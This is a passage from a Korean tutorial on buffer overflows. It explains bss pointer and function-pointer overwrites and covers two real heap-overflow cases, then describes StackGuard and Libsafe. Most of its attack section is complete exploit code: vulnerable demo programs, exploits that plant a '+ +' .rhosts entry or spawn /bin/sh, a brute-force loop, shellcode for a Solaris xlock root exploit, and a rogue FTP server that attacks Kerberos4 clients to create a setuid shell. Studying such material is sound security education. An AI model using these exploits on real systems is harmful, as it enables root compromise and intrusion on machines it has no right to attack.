이름을 덮어쓰고자 한다면 새로운 이름을 저장하기 위해 사용한다.)

vulprog1.c

_____________________________________________________________________________________

1 #include <stdio.h>

2 #include <stdlib.h>

3 #include <unistd.h>

4 #include <string.h>

5 #include <errno.h>

6 #define ERROR -1

7 #define BUFSIZE 16

/*

* Run this vulprog as root or change the "vulfile" to something else.

* Otherwise, even if the exploit works, it won't have permission to

* overwrite /root/.rhosts (the default "example").

*/

8 int main(int argc, char **argv)

9 {

10 FILE *tmpfd;

11 static char buf[BUFSIZE], *tmpfile;

12 if (argc <= 1)

13 {

14 fprintf(stderr, "Usage: %s ₩n", argv[0]);

15 exit(ERROR);

58

Page 59: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

16 }

17 tmpfile = "/tmp/vulprog.tmp"; /* no, this is not a temp file vul */

18 printf("before: tmpfile = %s₩n", tmpfile);

19 printf("Enter one line of data to put in %s: ", tmpfile);

20 gets(buf);

21 printf("₩nafter: tmpfile = %s₩n", tmpfile);

22 tmpfd = fopen(tmpfile, "w");

23 if (tmpfd == NULL)

24 {

25 fprintf(stderr, "error opening %s: %s₩n", tmpfile,

26 strerror(errno));

27 exit(ERROR);

28 }

29 fputs(buf, tmpfd);

30 fclose(tmpfd);

31 }

_____________________________________________________________________________________

buf(라인 11)는 bss 세그먼트에 할당된다. 이 버퍼의 크기는 BUFSIZE(라인 7, 11)에 의해

서 제한되어 있다. 이 프로그램은 사용자로부터 입력을 기다린다(라인 20). 입력된 것은

gets()를 통해 buf에 저장된다(라인 20). gets()는 입력값의 크기를 체크하지 않기 때문에

buf를 오버플로우시키는 것이 가능하다. buf 바로 다음에 tmpfile(라인 11)이 할당되어 있다.

buf를 오버플로우시키는 것은 포인터 tmpfile을 덮어쓰게 해주고, 그것이 우리가 원하는 것

을 가리키도록 만들 수 있다. 우리가 루트 권한을 획득하기 위해서는 vulprog1은 루트 권한

으로 실행되거나 SUID 비트가 붙을 필요가 있다. 이 취약한 프로그램을 공격할 exploit를

보자.

exploit1.c

_____________________________________________________________________________________

1 #include <stdio.h>

59

Page 60: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

2 #include <stdlib.h>

3 #include <unistd.h>

4 #include <string.h>

5 #define ERROR -1

6 #define VULPROG "./vulnerable1"

7 #define VULFILE "/root/.rhosts" /* the file 'buf' will be stored in */

/* get value of sp off the stack (used to calculate argv[1] address) */

8 u_long getesp()

9 {

10 __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */

11 }

12 int main(int argc, char **argv)

13 {

14 u_long addr;

15 register int i;

16 int mainbufsize;

17 char *mainbuf, buf[DIFF+6+1] = "+ +₩t# ";

/* ------------------------------------------------------ */

18 if (argc <= 1)

19 {

20 fprintf(stderr, "Usage: %s <offset> [try 310-330]₩n", argv[0]);

21 exit(ERROR);

22 }

/* ------------------------------------------------------ */

23 memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +₩t# ");

24 memset(buf + strlen(buf), 'A', DIFF);

25 addr = getesp() + atoi(argv[1]);

/* reverse byte order (on a little endian system) */

26 for (i = 0; i < sizeof(u_long); i++)

27 buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);

28 mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULPROG) + strlen(VULFILE) + 13;

29 mainbuf = (char *)malloc(mainbufsize);

30 memset(mainbuf, 0, sizeof(mainbuf));

31 snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s₩n", buf, VULPROG, VULFILE);

32 printf("Overflowing tmpaddr to point to 0x%lx, check %s after.₩n₩n", addr, VULFILE);

33 system(mainbuf);

60

Page 61: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

34 return 0;

35 }

_____________________________________________________________________________________

vulprog1는 사용자의 입력을 기다린다. 다음과 같이 명령을 내려보자.

$ echo ‘hack’ | ./vulprog1

이것은 vulprog1을 실행하고, hack으로 buf를 채운다. 즉, 쓰레기값이 argv[1]를 통해

vulprog1로 전달된다. 비록 vulprog1이 그것의 argv[1]를 처리하지는 않는다 할지라도 프로

세스 메모리에 그것을 저장한다. 이것은 addr(라인 14, 25)을 통해 접근할 수 있다. 우리는

esp로부터 argv1까지의 offset을 정확하게 알지 못하기 때문에 무작위 대입법을 사용한다.

이 작업에서는 많은 시행착오가 따르게 된다. 이 시행착오를 줄이기 위해 루프를 돌리는 펄

스크립트를 이용해도 좋을 것이다. 라인 33은 mainbuf를 실행하는데, 그것의 내용은 다음

과 같다.

$ echo buf | ./vulprog1 /root/.rhosts

buf는 vulprog1의 argv[1]에 대한 포인터를 포함한 이후 파일(16바이트)에 우리가 쓰고자

하는 데이터를 포함하고 있다.(addr은 vulprog1에서 argv[1]의 주소이다.) 그래서 fopen()

(vulprog1.c에서 라인 22)이 tmpfile로 호출될 때 tmpfile은 argv[1]에 의해 전달된 문자열

을 가리키게 된다.

이 전체 과정을 도식화 시켜보면 다음과 같다.

tmpfile.tmp

(포인터)

buffer

/root/.rhosts

buffer

(오버플로우 전) (오버플로우 후)

2-3-2. 함수 포인터 덮어쓰기

함수 포인터를 덮어쓰는 것은 포인터를 덮어쓰는 것에 대해 설명한 것과 그 기본적인

아이디어는 같다. 즉, 앞에서는 포인터를 덮어쓴 후 우리가 원하는 것을 가리키도록 하는

61

Page 62: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

것이었다. 부연하자면 우리가 가리키도록 한 것은 우리가 열고자 하는 파일의 이름을 정의

하고 있는 문자열이다. 이 섹션에서는 다룰 것은 어떤 함수에 대한 포인터이다.

다음 예를 보자.

int (*func) (char *string)

func는 함수에 대한 포인터이다. 이것은 func가 프로토타입이 int the_func (char *string)과

같은 함수의 주소를 유지하고 있다고 말하는 것과 같다. 함수 func()은 실행시 알려진다.

포인터 덮어쓰기와 마찬가지로 메모리 구조와 힙에 버퍼 다음에 포인터가 있다는 사실

을 기준으로 한다. 공격자는 그 버퍼를 오버플로우시키고, 포인터에 있는 주소를 변경한다.

그래서 공격자가 조작한 함수나 쉘코드를 가리키도록 만든다.

그런데 중요한 것은 우리가 취약한 프로그램을 제대로 공격하고자 한다면 그 취약한 프

로그램이 루트 권한으로 실행되거나 SUID 비트가 설정되어 있어야 한다. 또 다른 조건 하

나는 힙이 실행 가능해야 한다는 것이다. 대부분의 시스템에서 실행 가능한 스택을 가질 개

연성보다 실행 가능한 힙을 가질 개연성이 더 높다. 그러니 이 두 번째 조건은 별 문제가

되지 않을 것 같다. 다음은 취약한 프로그램의 예이다.

vulprog2.c

_____________________________________________________________________________________

1 #include <stdio.h>

2 #include <stdlib.h>

3 #include <unistd.h>

4 #include <string.h>

5 #include <dlfcn.h>

6 #define ERROR -1

7 #define BUFSIZE 16

8 int goodfunc(const char *str); /* funcptr starts out as this */

9 int main(int argc, char **argv)

10 {

11 static char buf[BUFSIZE];

12 static int (*funcptr)(const char *str);

13 if (argc <= 2)

14 {

15 fprintf(stderr, "Usage: %s <buffer> <goodfunc's arg>₩n", argv[0]);

16 exit(ERROR);

17 }

62

Page 63: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

18 printf("system()'s address = %p₩n", &system);

19 funcptr = (int (*)(const char *str))goodfunc;

20 printf("before overflow: funcptr points to %p₩n", funcptr);

21 memset(buf, 0, sizeof(buf));

22 strncpy(buf, argv[1], strlen(argv[1]));

23 printf("after overflow: funcptr points to %p₩n", funcptr);

24 (void)(*funcptr)(argv[2]);

25 return 0;

26 }

/* ---------------------------------------------- */

/* This is what funcptr should/would point to if we didn't overflow it */

27 int goodfunc(const char *str)

28 {

29 printf("₩nHi, I'm a good function. I was called through funcptr.₩n");

30 printf("I was passed: %s₩n", str);

31 return 0;

}

______________________________________________________________________________________________

라인 11과 12 부분은 다음과 같다.

static char buf[BUFSIZE];

static int (*funcptr)(const char *str);

버퍼를 가지고 있으며, bss 세그먼트에 할당된 포인터가 있다.

라인 22를 보면 메모리에 복사될 크기는 입력값이라는 것을 알 수 있다.

strncpy(buf, argv[1], strlen(argv[1]));

그래서 buf의 크기보다 더 큰 크기로 argv(1)를 건네주면 버퍼 buf를 쉽게 오버플로우시킬

수 있다. 그런 다음 우리가 실행하고자 하는 쉘코드나 함수의 주소를 funcptr 내부에 쓸 수

있다. 다음은 공격용 exploit이다.

Exploit2.c

_____________________________________________________________________________________

63

Page 64: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

/*

* Copyright (C) January 1999, Matt Conover & w00w00 Security Development

*

* Demonstrates overflowing/manipulating static function pointers in the

* bss (uninitialized data) to execute functions.

*

* Try in the offset (argv[2]) in the range of 140-160

* To compile use: gcc -o exploit1 exploit1.c

*/

1 #include <stdio.h>

2 #include <stdlib.h>

3 #include <unistd.h>

4 #include <string.h>

5 #define BUFSIZE 16 /* vulprog에서 funcptr/buf 사이의 예상 diff */

6 #define VULPROG "./vulprog2" /* 취약한 프로그램의 위치 */

7 #define CMD "/bin/sh" /* 만약 성공한다면 실행할 명령 */

8 #define ERROR -1

9 int main(int argc, char **argv)

10 {

11 register int i;

12 u_long sysaddr;

13 static char buf[BUFSIZE + sizeof(u_long) + 1] = {0};

14 if (argc <= 1)

15 {

16 fprintf(stderr, "Usage: %s <offset>₩n", argv[0]);

17 fprintf(stderr, "[offset = estimated system() offset in vulprog₩n₩n");

18 exit(ERROR);

19 }

20 sysaddr = (u_long)&system - atoi(argv[1]);

21 printf("Trying system() at 0x%lx₩n", sysaddr);

22 memset(buf, 'A', BUFSIZE);

/* reverse byte order (on a little endian system) */

23 for (i = 0; i < sizeof(sysaddr); i++)

24 buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;

25 execl(VULPROG, VULPROG, buf, CMD, NULL);

26 return 0;

64

Page 65: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

27 }

_____________________________________________________________________________________

공격 원리는 앞의 경우와 기본적으로 같다. 라인 13에서 버퍼를 할당했고, 그 버퍼의 끝은

funcptr이 가리킬 함수의 주소를 포함하고 있다. 라인 20의 목적은 라인 25의 argv로서 취

약한 프로그램에 전달되는 /bin/sh의 주소를 추측하는 것이다. 이 주소는 다음과 같은 간단

한 스크립트로 추측할 수 있다.

Bruteforce.pl

_____________________________________________________________________________________

for ($i=110; $i < 200; $i++)

system(‘‘./exploit2’’ $i);

______________________________________________________________________________________________

이 전체 과정을 도식화 해보면 다음과 같다.

Int badFunc(void)

buffer

Int goodFunc(void)

buffer

(오버플로우 전) (오버플로우 후)

2-3-3. 최근 실전 예

가장 최근에 발표된 힙 오버플로우 취약점은 중국의 보안 회사인 NSFOCUS가 발표한

“Sun Solaris Xsun "-co" heap overflow”8(2002년 4월 2일)와 Kerberos4 FTP Client 취약점

(4월 25일)이다. 첫번째 것에 대한 것은 링크 된 것을 참고하길 바라며, 여기서 간단히 다

룰 것은 exploit까지 발표된 그들의 다른 권고문인 2001년 8월 10일에 발표된 “Solaris

Xlock Heap Overflow Vulnerability”9와 Kerberos4 FTP Client 취약점인데, 먼저 첫번째

것에 대해 알아보자.

해당 시스템은 Sun Solaris 2.6 (SPARC/x86), Sun Solaris 7 (SPARC/x86), Sun

8 http://www.nsfocus.com/english/homepage/sa2002-01.htm 9 http://www.nsfocus.com/english/homepage/sa01-05.htm

65

Page 66: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

Solaris 8 (SPARC/x86)이며, 로컬 공격자가 루트 권한을 획득할 수 있다. Xlock는 Solaris

OpenView의 스크린 폐쇄 툴이며, 패스워드가 입력될 때까지 X 서버를 폐쇄한다. 이것은 디

폴트로 suid root로 설치된다.

이 취약한 프로그램은 어떤 환경 변수 통제에서 적절한 바운드 체크를 하지 않는다. 그

결과 공격자는 힙 영역의 동적 메모리 경계를 덮어쓸 수 있으며, 조작된 오버플로우 데이터

를 이용해 루트 권한으로 임의의 코드를 실행할 수 있다.

문제는 "XFILESEARCHPATH"와 "XUSERFILESEARCHPATH" 이 두 환경 변수 내에 있

다. Xlock은 1024 바이트의 메모리를 할당하기 위해 malloc()을 호출하고, 이 동적 메모리

에 환경변수 값을 저장한다. 하지만 xclock은 복사할 때 환경변수의 길이 확인을 하지 않는

다. 이 두 환경변수가 1024 바이트보다 더 긴 문자열로 설정되면 힙 오버플로우가 발생한

다. 인접한 동적 메모리의 경계 태그가 덮어쓰일 수 있고, malloc()가 다음에 호출될 때 세

그먼트 에러가 발생한다. libc malloc()/free()의 특별한 몇몇 기능 구현은 저장된 리턴 어드

레스와 함수 포인터 또는 다른 중요한 데이터와 같은 임의의 메모리를 조작된 오버플로우

데이터를 이용해 다시 쓸 수 있다. 공격이 성공할 경우 공격자는 루트 권한을 획득할 수 있

다.

Exploit:

=====

bash-2.03$ uname -a

SunOS sun8 5.8 Generic sun4u sparc SUNW,Ultra-5_10

bash-2.03$ cp /usr/openwin/bin/xlock /tmp/xlock

bash-2.03$ export XFILESEARCHPATH=`perl -e 'print "A"x1028'`

bash-2.03$ /tmp/xlock

Segmentation Fault

bash-2.03$ truss -u libc:malloc,free /tmp/xlock

<...중략...>

<- libc:malloc() = 0x1135d0

-> libc:malloc(0x400, 0xffbefa8d, 0xffffffff, 0x1b648)

<- libc:malloc() = 0x1139d0

open("AAAAAAA...AAAAAAAAAAAAAAA", O_RDONLY) Err#78 ENAMETOOLONG

-> libc:free(0x1139d0, 0x0, 0xff31c000, 0x1b648)

<- libc:free() = 0

-> libc:malloc(0x400, 0x12, 0x0, 0x10ed49)

<- libc:malloc() = 0x1139d0

open("/export/home/test/XLock", O_RDONLY) Err#2 ENOENT

66

Page 67: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

-> libc:free(0x1139d0, 0x0, 0xff31c000, 0x7efefeff)

<- libc:free() = 0

-> libc:malloc(0x3, 0x3073b, 0xffffffff, 0x3a300000)

<- libc:malloc() = 0x1135e0

Incurred fault #6, FLTBOUNDS %pc = 0xFF0C0F4C

siginfo: SIGSEGV SEGV_MAPERR addr=0x41527F18

Received signal #11, SIGSEGV [default]

siginfo: SIGSEGV SEGV_MAPERR addr=0x41527F18

*** process killed ***

다음은 공격용 코드이다.

/*

* sol_x86_xlockex.c - Proof of Concept Code for xlock heap overflow bug.

* Copyright (c) 2001 - Nsfocus.com

*

* Tested in Solaris 8 x86.

*

* DISCLAIMS:

* This is a proof of concept code. This code is for test purpose

* only and should not be run against any host without permission from

* the system administrator.

*

* NSFOCUS Security Team <[email protected]>

* http://www.nsfocus.com

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <strings.h>

#include <sys/types.h>

#define RETLOC 0x080463c8 /* 디폴트 리턴 어드레스 위치 (Solaris 8 x86) */

#define SP 0x08047ffc /* 디폴트 "bottom" 스택 어드레스 (Solaris 8 x86) */

67

Page 68: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

#define VULPROG "/usr/openwin/bin/xlock"

char shellcode[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\xeb\x28\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x8b\xec\x83\xec\x64\x33\xd2\xc6\x45\xce\x9a\x89"

"\x55\xcf\x89\x55\xd3\xc6\x45\xd3\x07\xc6\x45\xd5"

"\xc3\x89\x55\xfc\x83\xed\x32\x33\xc0\x50\x50\xb0"

"\xca\xff\xd5\x83\xc4\x08\x31\xc0\x50\x68\x2f\x2f"

"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89"

"\xe2\x50\x52\x53\xb0\x3b\xff\xd5";

int

main(int argc, char **argv)

{

char buf[2048], fake_chunk[48];

long retaddr, sp_addr = SP;

char *arg[24], *env[24];

long retloc = RETLOC;

unsigned int *ptr;

char ev1[]="XUSERFILESEARCHPATH=";

long ev1_len;

long overbuflen = 1024;

if (argc > 1) /* adjust retloc */

retloc += atoi(argv[1]);

bzero(buf, sizeof(buf));

ev1_len = strlen(ev1);

memcpy(buf, ev1, ev1_len);

memset(buf + ev1_len, 'A', overbuflen + sizeof(fake_chunk));

arg[0] = VULPROG;

68

Page 69: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

arg[1] = NULL;

env[0] = shellcode; /* env에 쉘코드를 넣는다. */

env[1] = buf; /* 오버플로우 environ을 넣는다. */

env[2] = NULL; /* env의 끝 */

/* get the not exact shellcode address :) */

retaddr = sp_addr - strlen(VULPROG) - 1

- strlen("i86pc") - 1

- strlen(buf) - 1

- strlen(shellcode) - 1;

printf("Using RET address = 0x%lx\n", retaddr);

printf("Using retloc = 0x%lx \n", retloc);

ptr = (unsigned int *) fake_chunk;

memset(fake_chunk, '\xff', sizeof(fake_chunk));

*(ptr + 0) = 0xfffffff9;

*(ptr + 2) = retaddr;

*(ptr + 8) = retloc - 8;

memcpy(buf + ev1_len + overbuflen, fake_chunk, sizeof(fake_chunk));

execve(VULPROG, arg, env);

perror("execle");

return(1);

}

이 문제의 해결책은 xlock에 붙어 있는 suid root를 제거하는 것이다.

# chmod a-s /usr/openwin/bin/xlock

다음은 Kerberos4 FTP client 힙 오버플로우에 대해 알아보자. Kerberos4 FTP client는

RFC2228에 의해 정의된 확장으로 이루어진 단순한 FTP 클라이언트이다. 인증이 AUTH로

69

Page 70: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

실패하면 클라이언트는 USER/PASS를 사용한다. Kerberos4 FTP 클라이언트의 코드상에서

취약점이 공격자로 하여금 힙을 오버플로우시켜 임의의 코드를 실행하게 한다.

취약한 시스템은 Kerberos4 버전 1.1.1이다. 서버가 클라이언트의 passive 모드 리퀘스

트에 대해 응답을 할 때 발생한다. 만약 서버가 IP와 포트 대신 긴 대답과 함께 응답할 때

PASV 버퍼는 오버플로우 된다. 취약한 코드 부분은 다음과 같다.

krb4-1.1.1/appl/ftp/ftp/ftp.c

--------------------------------------------------------------------

int

getreply (int expecteof)

{

.

.

.

if (code == 227 || code == 229) {

char *p, *q;

pasv[0] = 0;

p = strchr (reply_string, '(');

if (p) {

p++;

q = strchr(p, ')'};

if(q){

memcpy (pasv, p, q - p); // 힙 오버플로우가 발생하는 곳

pasv[q - p] = 0;

}

)

}

--------------------------------------------------------------------

다음은 세션의 예와 exploit이다.

Client: PASV

Server: 227 food_for_the_poor (AAAAAAA...1323bytes...AAAAAA)

Exploit:

/*

egg: x86 linux, 95 바이트

70

Page 71: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

cp /bin/ash /tmp/ash

chmod 4755 /tmp/ash

Marcell Fodor

[email protected]

*/

#include <stdio.h>

#include <stdlib.h>

#include <stdarg.h>

#include <string.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <unistd.h>

#define HIT "₩xa0₩x01₩x07₩x08"

#define SERVERPORT (3568)

#define SEND(a) write(sock, a, strlen(a))

#define NOP 0x90

#define _BANNER "220 evil ready₩n"

#define _USER "331 user oke₩n"

#define _PASS "230 pass oke₩n"

#define _SYST "215 evil₩n"

#define _GO "530 go on₩n"

#define _END "530 look what i did to you₩n"

static unsigned char egg[] =

"₩x68₩x2f₩x62₩x69₩x6e₩x5f₩x6a₩x70₩x58₩x66₩x50₩x66₩x68₩x2f₩x63₩x57"

"₩x54₩x5b₩x31₩xf6₩x56₩x54₩x5a₩x68₩x2f₩x61₩x73₩x68₩x59₩x51₩x57₩x54"

"₩x5d₩x56₩x51₩x68₩x2f₩x74₩x6d₩x70₩x54₩x59₩x56₩x51₩x55₩x53₩x54₩x51"

71

Page 72: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

"₩x5d₩x59₩xb0₩x02₩xcd₩x80₩x39₩xc6₩x75₩x06₩xb0₩x0b₩xcd₩x80₩xeb₩x1a"

"₩x31₩xdb₩x4b₩x56₩x54₩x59₩x31₩xd2₩x6a₩x07₩x58₩xcd₩x80₩x31₩xc9₩x66"

"₩xb9₩x6d₩x09₩x55₩x5b₩x6a₩x0f₩x58₩xcd₩x80₩x6a₩x01₩x58₩xcd₩x80₩x00";

int

main(int argc, char *argv[])

{

int c, sock, ret;

int e = sizeof(struct sockaddr_in);

struct sockaddr_in l, r;

int serverport = SERVERPORT;

l.sin_family = AF_INET;

l.sin_port = htons(serverport);

l.sin_addr.s_addr = INADDR_ANY;

bzero(&(l.sin_zero), 8);

c = socket(AF_INET, SOCK_STREAM, 0);

ret = bind(c,(struct sockaddr *) &l, sizeof(struct sockaddr));

if (ret)

{

printf("bind failed₩n");

_exit(0);

}

ret = listen(c, 1);

if (ret)

{

printf("listen failed₩n");

_exit(0);

}

printf("Evil ftpd accepting connections on port:%d₩n", serverport);

while ((sock = accept(c, (struct sockaddr *) &r, &e)))

{

72

Page 73: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

if (!fork())

{

int ret, ok = 0;

char buffer[8192];

SEND(_BANNER);

do

{

memset(buffer, 0, sizeof(buffer));

ret = read(sock, buffer, sizeof(buffer) - 1);

if (ret < 1) _exit(0); /* hmm..?$#%! */

if (!strncmp(buffer, "USER", 4)) SEND(_USER);

else if (!strncmp(buffer, "PASS", 4)) SEND(_PASS);

else if (!strncmp(buffer, "SYST", 4)) SEND(_SYST);

else if (!strncmp(buffer, "PASV", 4)) ok = 1;

else if (!strncmp(buffer, "EPRT", 4)) ok = 1;

else SEND(_GO);

} while(!ok);

memset(buffer, 0, sizeof(buffer));

strcpy(buffer, "227 (");

memset(buffer + strlen(buffer), NOP, 1319);

strcat(buffer, HIT);

strcat(buffer, ")₩n");

memcpy(buffer + strlen(buffer) - 10 - strlen(egg), egg, strlen(egg));

SEND(buffer);

SEND(_END);

close(sock);

_exit(0);

73

Page 74: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

}

close(sock);

}

_exit(0);

}

74

Page 75: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

3. 방어법

여기서는 StackGuard, Libsafe, Grsecurity, Prelude 등에 대해서 알아볼 것이다. 여기서

제시된 오버플로우에 대한 방어법은 커널 자체를 패치하거나 아니면 침입탐지 시스템(IDS)

을 적용하는 것이다. 근본적으로 크래킹 피해를 입지 않기 위해서는 각종 프로그램을 안전

하게 제작하는 것이다. 하지만 인간이 완벽할 수는 없으므로 문제가 되는 각종 프로그램에

대한 패치를 적절하게 시행하는 것이다. 이 문서는 보안에 대한 이야기를 하기 위한 것이

아니므로 보편적인 총론에서 그치도록 하겠다.

3-1. StackGuard

StackGuard10는 컴파일러에 의해 만들어진 실행 가능한 코드를 강화하여 스택 오버플

로우 공격을 탐지하고 막는 컴파일러의 확장판이다. 스택가드는 IMMUNIX11가 추진한 프로

젝트의 일부이다. IMMUNIX는 스택가드 뿐만 아니라 FormatGuard12도 발표하였다. 포맷가

드에 대해서는 포맷 스트링 버그에 대해 필자가 계획하고 있는 다음 문서에서 알아보기로

하겠다. 좀더 자세한 것을 알고 싶다면 아래 각주에 링크된 것을 참고하자.

앞에서도 설명했듯이 스택 오버플로우 공격은 버퍼 배열에 저장된 입력값의 크기에 대

한 경계검사 미비를 공격하는 것이다. 공격하고자 하는 일반적인 데이터 구조는 스택에 저

장된 현재 함수의 리턴 어드레스이다. 자세한 사항은 앞에서 이미 언급했다.

스택가드는 함수가 호출될 때 리턴 어드레스 옆에 “canary” 문자를 위치시킨다. 함수가

호출된 후 스택 오버플로우 공격이 시도될 때 canary 문자가 변경된다면 프로그램은 침입

경고를 syslog에 보내 반응한 후 멈춘다. 스택가드는 공격자가 canary 문자를 조작하지 못

하도록 몇가지 테크닉을 제시하고 있다.

• Random canary: canary 문자 값은 프로그램이 실행시 무작위로 선택된다. 그래서 공

격자는 프로그램이 실행되기 이전에 canary 값을 알 수 없다.

• Null canary: canary 문자는 null(예를 들어, 0x00000000)이다. 대부분의 스택 오버플

로우 공격에 의한 문자열 오퍼레이션은 null을 만나게 되면 종료하기 때문에 공격자

는 실패할 가능성이 높아진다. 이것은 Bugtraq에 der Mouse에 의해 원래 제안되었던

것이다.

• Terminator canary: 모든 canary 문자가 null로 끝나는 것은 아니다. gets()과 같은 함

수는 ‘\n’이나 EOF(-1)를 만나면 종료된다. Terminator canary는 대부분의 문자열 오퍼

레이션을 끝내는 NULL(0x00), CR (0x0d), LF (0x0a), 그리고 -1(0xFF)의 조합으로 이

루어져 있다.

10 http://immunix.org/stackguard.html 11 http://immunix.org 12 http://immunix.org/formatguard.html

75

Page 76: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

• XOR random canary: 버전 1.21 이후부터 적용된 방어 방법이다.

스택가드는 gcc 코드 생성기, 특히 function_prolog()와 function_epilog() 루틴에 대한

패치로서 구현되었다. function_prolog()는 함수들이 시작될 때 스택에 canary를 놓음으로써

강화되었고, function_epilog()는 함수가 exit할 때 canary 무결성을 확인한다. 그래서 함수

가 리턴하기 전에 리턴 어드레스를 변경하려는 시도를 탐지할 수 있다. 다음은 취약한 것으

로 알려진 프로그램에 스택가드를 적용했을 때의 결과이다.

취약 프로그램 스택가드가 없을 경우 Canary 스택가드 MemGuard 스택가드

dip 3.3.7n root shell 프로그램 중지 프로그램 중지

elm 2.4 PL25 root shell 프로그램 중지 프로그램 중지

Perl 5.003 root shell 불규칙적으로 프로그램 중지 root shell

Samba root shell 프로그램 중지 프로그램 중지

SuperProbe root shell 불규칙적으로 프로그램 중지 프로그램 중지

umount 2.5k/libc 5.3.12 root shell 프로그램 중지 프로그램 중지

wwwcount v2.3 httpd shell 프로그램 중지 프로그램 중지

zgv 2.7 root shell 프로그램 중지 프로그램 중지

스택가드는 Apache 서버, SSH 등도 방어하는 기능도 갖추고 있다. 그러나 완벽한 것이

세상에 존재할까. 스택가드를 우회하는 방법도 나와 있다. Kil3r가 프랙 56호에 기고한 글

“Bypassing StackGuard and StackShield”은 스택가드를 우회하여 공격하는 방법에 대해

이야기 하고 있다. 여기에 대해서는 이 문서의 다음 버전에서 다루도록 하겠다. 그밖에

스택가드에 대한 자세한 사항은 IMMUNIX 팀의 홈페이지를 참고하자.

3-2. Libsafe

libsafe13

는 오버플로우와 포맷 스트링 공격을 막기 위해 민감한 libc 함수(strcpy, strcat,

sprintf, vsprintf, getwd, gets, realpath, fscanf, scanf, sscanf)을 다시 쓴 라이브러리이다.

오버플로우 공격이 시도될 경우 이메일로 관리자에게 이 사실을 알려주기도 한다.

libsafe가 라이브러리의 일종이라고 했는데, libsafe는 다른 라이브러리보다 먼저 메모리

에 로딩되고, 안전하지 않은 libc 함수들의 일부를 무시해버린다. 또한 libsafe는 표준 C 라

이브러리의 안전하지 않은 함수로의 호출을 가로채고, 대신 그 자체 구현한 함수를 사용한

다. 같은 의미를 유지하면서도 경계 위반을 탐지한다. 다음은 libsafe 라이브러리에 의해 무

13 http://www.research.avayalabs.com/project/libsafe

76

Page 77: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

시되는 것들의 예이다.

• strcpy(char *dest, const char *src)

• strcat(char *dest, const char *src)

• getwd(char *buf)

• gets(char *s)

• scanf(const char *format,...)

• realpath(char *path, char resolved_path[])

• sprintf(char *str, const char *format,...)

표준 C 라이브러리의 몇몇 함수가 위험한 것은 버퍼의 경계 검사를 하지 않기 때문인

데, libsafe는 경계 검사를 한다. libsafe는 http://www.research.avayalabs.com/project/libsafe에

서 다운받을 수 있다. 현재 가장 최신 버전은 2.0-14(2002년 4월 23일 발표)이며, 위의 링

크로 가면 소스 코드와 바이너리 rpm을 구할 수 있으며, 각종 관련 문서를 구할 수 있다.

